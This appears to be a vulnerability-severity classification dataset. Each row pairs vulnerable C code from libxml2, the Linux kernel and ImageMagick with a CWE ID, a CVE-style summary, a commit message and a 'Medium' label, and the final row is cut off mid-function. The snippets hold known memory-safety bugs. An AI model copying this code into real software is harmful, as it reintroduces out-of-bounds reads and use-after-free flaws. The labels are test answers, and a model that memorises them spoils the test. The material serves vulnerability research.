Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: xmlParseInternalSubset(xmlParserCtxtPtr ctxt) {
/*
* Is there any DTD definition ?
*/
if (RAW == '[') {
ctxt->instate = XML_PARSER_DTD;
NEXT;
/*
* Parse the succession of Markup declarations and
* PEReferences.
* Subsequence (markupdecl | PEReference | S)*
*/
while (RAW != ']') {
const xmlChar *check = CUR_PTR;
unsigned int cons = ctxt->input->consumed;
SKIP_BLANKS;
xmlParseMarkupDecl(ctxt);
xmlParsePEReference(ctxt);
/*
* Pop-up of finished entities.
*/
while ((RAW == 0) && (ctxt->inputNr > 1))
xmlPopInput(ctxt);
if ((CUR_PTR == check) && (cons == ctxt->input->consumed)) {
xmlFatalErr(ctxt, XML_ERR_INTERNAL_ERROR,
"xmlParseInternalSubset: error detected in Markup declaration\n");
break;
}
}
if (RAW == ']') {
NEXT;
SKIP_BLANKS;
}
}
/*
* We should be at the end of the DOCTYPE declaration.
*/
if (RAW != '>') {
xmlFatalErr(ctxt, XML_ERR_DOCTYPE_NOT_FINISHED, NULL);
}
NEXT;
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: parser.c in libxml2 before 2.9.0, as used in Google Chrome before 28.0.1500.71 and other products, allows remote attackers to cause a denial of service (out-of-bounds read) via a document that ends abruptly, related to the lack of certain checks for the XML_PARSER_EOF state.
Commit Message: libxml: XML_PARSER_EOF checks from upstream
BUG=229019
TBR=cpu
Review URL: https://chromiumcodereview.appspot.com/14053009
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@196804 0039d316-1c4b-4281-b951-d872f2087c98 | Medium | 171,293 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static struct ucma_multicast* ucma_alloc_multicast(struct ucma_context *ctx)
{
struct ucma_multicast *mc;
mc = kzalloc(sizeof(*mc), GFP_KERNEL);
if (!mc)
return NULL;
mutex_lock(&mut);
mc->id = idr_alloc(&multicast_idr, mc, 0, 0, GFP_KERNEL);
mutex_unlock(&mut);
if (mc->id < 0)
goto error;
mc->ctx = ctx;
list_add_tail(&mc->list, &ctx->mc_list);
return mc;
error:
kfree(mc);
return NULL;
}
Vulnerability Type: DoS
CWE ID: CWE-416
Summary: drivers/infiniband/core/ucma.c in the Linux kernel through 4.17.11 allows ucma_leave_multicast to access a certain data structure after a cleanup step in ucma_process_join, which allows attackers to cause a denial of service (use-after-free).
Commit Message: infiniband: fix a possible use-after-free bug
ucma_process_join() will free the new allocated "mc" struct,
if there is any error after that, especially the copy_to_user().
But in parallel, ucma_leave_multicast() could find this "mc"
through idr_find() before ucma_process_join() frees it, since it
is already published.
So "mc" could be used in ucma_leave_multicast() after it is been
allocated and freed in ucma_process_join(), since we don't refcnt
it.
Fix this by separating "publish" from ID allocation, so that we
can get an ID first and publish it later after copy_to_user().
Fixes: c8f6a362bf3e ("RDMA/cma: Add multicast communication support")
Reported-by: Noam Rathaus <[email protected]>
Signed-off-by: Cong Wang <[email protected]>
Signed-off-by: Jason Gunthorpe <[email protected]> | Medium | 169,109 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: MagickExport Image *AdaptiveThresholdImage(const Image *image,
const size_t width,const size_t height,const double bias,
ExceptionInfo *exception)
{
#define AdaptiveThresholdImageTag "AdaptiveThreshold/Image"
CacheView
*image_view,
*threshold_view;
Image
*threshold_image;
MagickBooleanType
status;
MagickOffsetType
progress;
MagickSizeType
number_pixels;
ssize_t
y;
/*
Initialize threshold image attributes.
*/
assert(image != (Image *) NULL);
assert(image->signature == MagickCoreSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickCoreSignature);
threshold_image=CloneImage(image,0,0,MagickTrue,exception);
if (threshold_image == (Image *) NULL)
return((Image *) NULL);
status=SetImageStorageClass(threshold_image,DirectClass,exception);
if (status == MagickFalse)
{
threshold_image=DestroyImage(threshold_image);
return((Image *) NULL);
}
/*
Threshold image.
*/
status=MagickTrue;
progress=0;
number_pixels=(MagickSizeType) width*height;
image_view=AcquireVirtualCacheView(image,exception);
threshold_view=AcquireAuthenticCacheView(threshold_image,exception);
#if defined(MAGICKCORE_OPENMP_SUPPORT)
#pragma omp parallel for schedule(static) shared(progress,status) \
magick_number_threads(image,threshold_image,image->rows,1)
#endif
for (y=0; y < (ssize_t) image->rows; y++)
{
double
channel_bias[MaxPixelChannels],
channel_sum[MaxPixelChannels];
register const Quantum
*magick_restrict p,
*magick_restrict pixels;
register Quantum
*magick_restrict q;
register ssize_t
i,
x;
ssize_t
center,
u,
v;
if (status == MagickFalse)
continue;
p=GetCacheViewVirtualPixels(image_view,-((ssize_t) width/2L),y-(ssize_t)
(height/2L),image->columns+width,height,exception);
q=QueueCacheViewAuthenticPixels(threshold_view,0,y,threshold_image->columns,
1,exception);
if ((p == (const Quantum *) NULL) || (q == (Quantum *) NULL))
{
status=MagickFalse;
continue;
}
center=(ssize_t) GetPixelChannels(image)*(image->columns+width)*(height/2L)+
GetPixelChannels(image)*(width/2);
for (i=0; i < (ssize_t) GetPixelChannels(image); i++)
{
PixelChannel channel = GetPixelChannelChannel(image,i);
PixelTrait traits = GetPixelChannelTraits(image,channel);
PixelTrait threshold_traits=GetPixelChannelTraits(threshold_image,
channel);
if ((traits == UndefinedPixelTrait) ||
(threshold_traits == UndefinedPixelTrait))
continue;
if ((threshold_traits & CopyPixelTrait) != 0)
{
SetPixelChannel(threshold_image,channel,p[center+i],q);
continue;
}
pixels=p;
channel_bias[channel]=0.0;
channel_sum[channel]=0.0;
for (v=0; v < (ssize_t) height; v++)
{
for (u=0; u < (ssize_t) width; u++)
{
if (u == (ssize_t) (width-1))
channel_bias[channel]+=pixels[i];
channel_sum[channel]+=pixels[i];
pixels+=GetPixelChannels(image);
}
pixels+=GetPixelChannels(image)*image->columns;
}
}
for (x=0; x < (ssize_t) image->columns; x++)
{
for (i=0; i < (ssize_t) GetPixelChannels(image); i++)
{
double
mean;
PixelChannel channel = GetPixelChannelChannel(image,i);
PixelTrait traits = GetPixelChannelTraits(image,channel);
PixelTrait threshold_traits=GetPixelChannelTraits(threshold_image,
channel);
if ((traits == UndefinedPixelTrait) ||
(threshold_traits == UndefinedPixelTrait))
continue;
if ((threshold_traits & CopyPixelTrait) != 0)
{
SetPixelChannel(threshold_image,channel,p[center+i],q);
continue;
}
channel_sum[channel]-=channel_bias[channel];
channel_bias[channel]=0.0;
pixels=p;
for (v=0; v < (ssize_t) height; v++)
{
channel_bias[channel]+=pixels[i];
pixels+=(width-1)*GetPixelChannels(image);
channel_sum[channel]+=pixels[i];
pixels+=GetPixelChannels(image)*(image->columns+1);
}
mean=(double) (channel_sum[channel]/number_pixels+bias);
SetPixelChannel(threshold_image,channel,(Quantum) ((double)
p[center+i] <= mean ? 0 : QuantumRange),q);
}
p+=GetPixelChannels(image);
q+=GetPixelChannels(threshold_image);
}
if (SyncCacheViewAuthenticPixels(threshold_view,exception) == MagickFalse)
status=MagickFalse;
if (image->progress_monitor != (MagickProgressMonitor) NULL)
{
MagickBooleanType
proceed;
#if defined(MAGICKCORE_OPENMP_SUPPORT)
#pragma omp atomic
#endif
progress++;
proceed=SetImageProgress(image,AdaptiveThresholdImageTag,progress,
image->rows);
if (proceed == MagickFalse)
status=MagickFalse;
}
}
threshold_image->type=image->type;
threshold_view=DestroyCacheView(threshold_view);
image_view=DestroyCacheView(image_view);
if (status == MagickFalse)
threshold_image=DestroyImage(threshold_image);
return(threshold_image);
}
Vulnerability Type:
CWE ID: CWE-125
Summary: ImageMagick 7.0.8-50 Q16 has a heap-based buffer over-read at MagickCore/threshold.c in AdaptiveThresholdImage because a width of zero is mishandled.
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/1608 | Medium | 169,605 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static Image *ReadCMYKImage(const ImageInfo *image_info,
ExceptionInfo *exception)
{
Image
*canvas_image,
*image;
MagickBooleanType
status;
MagickOffsetType
scene;
QuantumInfo
*quantum_info;
QuantumType
quantum_type;
register ssize_t
i;
size_t
length;
ssize_t
count,
y;
unsigned char
*pixels;
/*
Open image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickSignature);
if (image_info->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
image_info->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickSignature);
image=AcquireImage(image_info);
if ((image->columns == 0) || (image->rows == 0))
ThrowReaderException(OptionError,"MustSpecifyImageSize");
SetImageColorspace(image,CMYKColorspace);
if (image_info->interlace != PartitionInterlace)
{
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
if (DiscardBlobBytes(image,image->offset) == MagickFalse)
ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile",
image->filename);
}
/*
Create virtual canvas to support cropping (i.e. image.cmyk[100x100+10+20]).
*/
canvas_image=CloneImage(image,image->extract_info.width,1,MagickFalse,
exception);
(void) SetImageVirtualPixelMethod(canvas_image,BlackVirtualPixelMethod);
quantum_info=AcquireQuantumInfo(image_info,canvas_image);
if (quantum_info == (QuantumInfo *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
pixels=GetQuantumPixels(quantum_info);
quantum_type=CMYKQuantum;
if (LocaleCompare(image_info->magick,"CMYKA") == 0)
{
quantum_type=CMYKAQuantum;
image->matte=MagickTrue;
}
if (image_info->number_scenes != 0)
while (image->scene < image_info->scene)
{
/*
Skip to next image.
*/
image->scene++;
length=GetQuantumExtent(canvas_image,quantum_info,quantum_type);
for (y=0; y < (ssize_t) image->rows; y++)
{
count=ReadBlob(image,length,pixels);
if (count != (ssize_t) length)
break;
}
}
count=0;
length=0;
scene=0;
do
{
/*
Read pixels to virtual canvas image then push to image.
*/
if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))
if (image->scene >= (image_info->scene+image_info->number_scenes-1))
break;
SetImageColorspace(image,CMYKColorspace);
switch (image_info->interlace)
{
case NoInterlace:
default:
{
/*
No interlacing: CMYKCMYKCMYKCMYKCMYKCMYK...
*/
if (scene == 0)
{
length=GetQuantumExtent(canvas_image,quantum_info,quantum_type);
count=ReadBlob(image,length,pixels);
}
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const IndexPacket
*restrict canvas_indexes;
register const PixelPacket
*restrict p;
register IndexPacket
*restrict indexes;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,quantum_type,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,canvas_image->extract_info.x,0,
canvas_image->columns,1,exception);
q=QueueAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
canvas_indexes=GetVirtualIndexQueue(canvas_image);
indexes=GetAuthenticIndexQueue(image);
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelRed(q,GetPixelRed(p));
SetPixelGreen(q,GetPixelGreen(p));
SetPixelBlue(q,GetPixelBlue(p));
SetPixelBlack(indexes+x,GetPixelBlack(
canvas_indexes+image->extract_info.x+x));
SetPixelOpacity(q,OpaqueOpacity);
if (image->matte != MagickFalse)
SetPixelOpacity(q,GetPixelOpacity(p));
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
break;
}
case LineInterlace:
{
static QuantumType
quantum_types[5] =
{
CyanQuantum,
MagentaQuantum,
YellowQuantum,
BlackQuantum,
OpacityQuantum
};
/*
Line interlacing: CCC...MMM...YYY...KKK...CCC...MMM...YYY...KKK...
*/
if (scene == 0)
{
length=GetQuantumExtent(canvas_image,quantum_info,CyanQuantum);
count=ReadBlob(image,length,pixels);
}
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const IndexPacket
*restrict canvas_indexes;
register const PixelPacket
*restrict p;
register IndexPacket
*restrict indexes;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
for (i=0; i < (image->matte != MagickFalse ? 5 : 4); i++)
{
quantum_type=quantum_types[i];
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,quantum_type,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,canvas_image->extract_info.x,
0,canvas_image->columns,1,exception);
q=GetAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
canvas_indexes=GetVirtualIndexQueue(canvas_image);
indexes=GetAuthenticIndexQueue(image);
for (x=0; x < (ssize_t) image->columns; x++)
{
switch (quantum_type)
{
case CyanQuantum:
{
SetPixelCyan(q,GetPixelCyan(p));
break;
}
case MagentaQuantum:
{
SetPixelMagenta(q,GetPixelMagenta(p));
break;
}
case YellowQuantum:
{
SetPixelYellow(q,GetPixelYellow(p));
break;
}
case BlackQuantum:
{
SetPixelIndex(indexes+x,GetPixelIndex(
canvas_indexes+image->extract_info.x+x));
break;
}
case OpacityQuantum:
{
SetPixelOpacity(q,GetPixelOpacity(p));
break;
}
default:
break;
}
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
case PlaneInterlace:
{
/*
Plane interlacing: CCCCCC...MMMMMM...YYYYYY...KKKKKK...
*/
if (scene == 0)
{
length=GetQuantumExtent(canvas_image,quantum_info,CyanQuantum);
count=ReadBlob(image,length,pixels);
}
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const PixelPacket
*restrict p;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,CyanQuantum,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,canvas_image->extract_info.x,0,
canvas_image->columns,1,exception);
q=GetAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelRed(q,GetPixelRed(p));
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,1,6);
if (status == MagickFalse)
break;
}
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const PixelPacket
*restrict p;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,MagentaQuantum,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,canvas_image->extract_info.x,0,
canvas_image->columns,1,exception);
q=GetAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelGreen(q,GetPixelGreen(p));
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,2,6);
if (status == MagickFalse)
break;
}
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const PixelPacket
*restrict p;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,YellowQuantum,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,canvas_image->extract_info.x,0,
canvas_image->columns,1,exception);
q=GetAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelBlue(q,GetPixelBlue(p));
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,3,6);
if (status == MagickFalse)
break;
}
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const IndexPacket
*restrict canvas_indexes;
register const PixelPacket
*restrict p;
register IndexPacket
*restrict indexes;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,BlackQuantum,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,canvas_image->extract_info.x,0,
canvas_image->columns,1,exception);
q=GetAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
canvas_indexes=GetVirtualIndexQueue(canvas_image);
indexes=GetAuthenticIndexQueue(image);
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelIndex(indexes+x,GetPixelIndex(
canvas_indexes+image->extract_info.x+x));
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,4,6);
if (status == MagickFalse)
break;
}
if (image->matte != MagickFalse)
{
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const PixelPacket
*restrict p;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,AlphaQuantum,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,
canvas_image->extract_info.x,0,canvas_image->columns,1,
exception);
q=GetAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelOpacity(q,GetPixelOpacity(p));
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,5,6);
if (status == MagickFalse)
break;
}
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,6,6);
if (status == MagickFalse)
break;
}
break;
}
case PartitionInterlace:
{
/*
Partition interlacing: CCCCCC..., MMMMMM..., YYYYYY..., KKKKKK...
*/
AppendImageFormat("C",image->filename);
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
canvas_image=DestroyImageList(canvas_image);
image=DestroyImageList(image);
return((Image *) NULL);
}
if (DiscardBlobBytes(image,image->offset) == MagickFalse)
ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile",
image->filename);
length=GetQuantumExtent(canvas_image,quantum_info,CyanQuantum);
for (i=0; i < (ssize_t) scene; i++)
for (y=0; y < (ssize_t) image->extract_info.height; y++)
if (ReadBlob(image,length,pixels) != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
count=ReadBlob(image,length,pixels);
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const PixelPacket
*restrict p;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,CyanQuantum,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,canvas_image->extract_info.x,0,
canvas_image->columns,1,exception);
q=GetAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelRed(q,GetPixelRed(p));
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,1,5);
if (status == MagickFalse)
break;
}
(void) CloseBlob(image);
AppendImageFormat("M",image->filename);
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
canvas_image=DestroyImageList(canvas_image);
image=DestroyImageList(image);
return((Image *) NULL);
}
length=GetQuantumExtent(canvas_image,quantum_info,MagentaQuantum);
for (i=0; i < (ssize_t) scene; i++)
for (y=0; y < (ssize_t) image->extract_info.height; y++)
if (ReadBlob(image,length,pixels) != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
count=ReadBlob(image,length,pixels);
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const PixelPacket
*restrict p;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,MagentaQuantum,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,canvas_image->extract_info.x,0,
canvas_image->columns,1,exception);
q=GetAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelGreen(q,GetPixelGreen(p));
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,2,5);
if (status == MagickFalse)
break;
}
(void) CloseBlob(image);
AppendImageFormat("Y",image->filename);
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
canvas_image=DestroyImageList(canvas_image);
image=DestroyImageList(image);
return((Image *) NULL);
}
length=GetQuantumExtent(canvas_image,quantum_info,YellowQuantum);
for (i=0; i < (ssize_t) scene; i++)
for (y=0; y < (ssize_t) image->extract_info.height; y++)
if (ReadBlob(image,length,pixels) != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
count=ReadBlob(image,length,pixels);
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const PixelPacket
*restrict p;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,YellowQuantum,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,canvas_image->extract_info.x,0,
canvas_image->columns,1,exception);
q=GetAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelBlue(q,GetPixelBlue(p));
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,3,5);
if (status == MagickFalse)
break;
}
(void) CloseBlob(image);
AppendImageFormat("K",image->filename);
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
canvas_image=DestroyImageList(canvas_image);
image=DestroyImageList(image);
return((Image *) NULL);
}
length=GetQuantumExtent(canvas_image,quantum_info,BlackQuantum);
for (i=0; i < (ssize_t) scene; i++)
for (y=0; y < (ssize_t) image->extract_info.height; y++)
if (ReadBlob(image,length,pixels) != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
count=ReadBlob(image,length,pixels);
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const IndexPacket
*restrict canvas_indexes;
register const PixelPacket
*restrict p;
register IndexPacket
*restrict indexes;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,BlackQuantum,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,canvas_image->extract_info.x,0,
canvas_image->columns,1,exception);
q=GetAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
canvas_indexes=GetVirtualIndexQueue(canvas_image);
indexes=GetAuthenticIndexQueue(image);
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelIndex(indexes+x,GetPixelIndex(
canvas_indexes+image->extract_info.x+x));
p++;
q++;
}
